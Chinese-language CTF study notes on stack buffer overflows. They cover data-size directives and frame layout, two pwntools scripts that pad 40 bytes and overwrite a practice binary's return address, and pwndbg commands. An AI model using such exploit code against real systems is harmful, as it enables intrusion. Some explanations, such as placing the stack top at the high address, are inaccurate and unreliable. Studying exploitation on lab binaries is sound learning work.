基础知识
栈的结构
熟悉如下寄存器
db 定义的是1Byte的变量 也就是8位 define byte
dd 定义的通常是4字节的变量 也就是32位 Define Double Word
dw 定义一个16位 也就是2字节的变量 Define Word
dq 定义一个8字节 也就是64位的变量
多少位的机器就表示一个字是多少位 x86最开始是16位后续为32位 64位机器即一个字为64位
栈结构理解案例
其中frame size为20是16进制 20为00100000 转成十进制就是2的5次方 为32
由于buf数组是4个内容 且均为dq 也就是4乘以8B为32字节 其中只剩下8B的内容没有被使用了
exp的利用
如果要写exp 我们可以直接直接用'a'*40 来填充垃圾字符 32将buf填充满(三个var的变量都是buf的一部分) 然后8填充saved registers 也就是RBP的内容 然后加上shellcode的地址覆盖return address即可 如下
from pwn import*
p = process("./ex1")
#p = remote("ip",2333)
payload = b"a"*40
payload += p64(0x40119b)
#'x96x11x40x00x00x00x00x00'
p.recvuntil("Pls Input")
p.send(payload)
p.interactive()
其中b为将字符转成字节流 运行即可
或者我们也可以写16进制的exp 其为0x20+0x8等于0x28
from pwn import*
p = process("./ex1")
#p = remote("ip",2333)
payload = b"a"*0x28
payload += p64(0x40119b)
#'x96x11x40x00x00x00x00x00'
p.recvuntil("Pls Input")
p.send(payload)
p.interactive()
我们都运行一下即可
EAX是RAX的一部分 可以认为是EAX即可
栈顶允许插入和删除 栈底不允许进行操作 栈顶在高地址位置
pwn工具笔记
pwndbg
b main //break 意思是在main下断点
r //运行
ni //后续通过enter键 一步一步的单步运行
fini //跳出当前执行的函数
在一个地址上下断点的方式
这个结构中 其定义的数组是char类型 而不是之前案例中的_int64 所以对应的汇编也是db
所以我们如果覆盖 16个内容也就有16B的内容 然后加上一个s占用8个db也就是16+8等于24B 所以写入如果是字节 则应该是 b'a'*24的垃圾数据 而十六进制的话 则是0x10+0x8=0x18 十六进制的18也就是00011000 也就是16+8等于24 进制是相同的
gdb调试版本
Canary bypass
exp脚本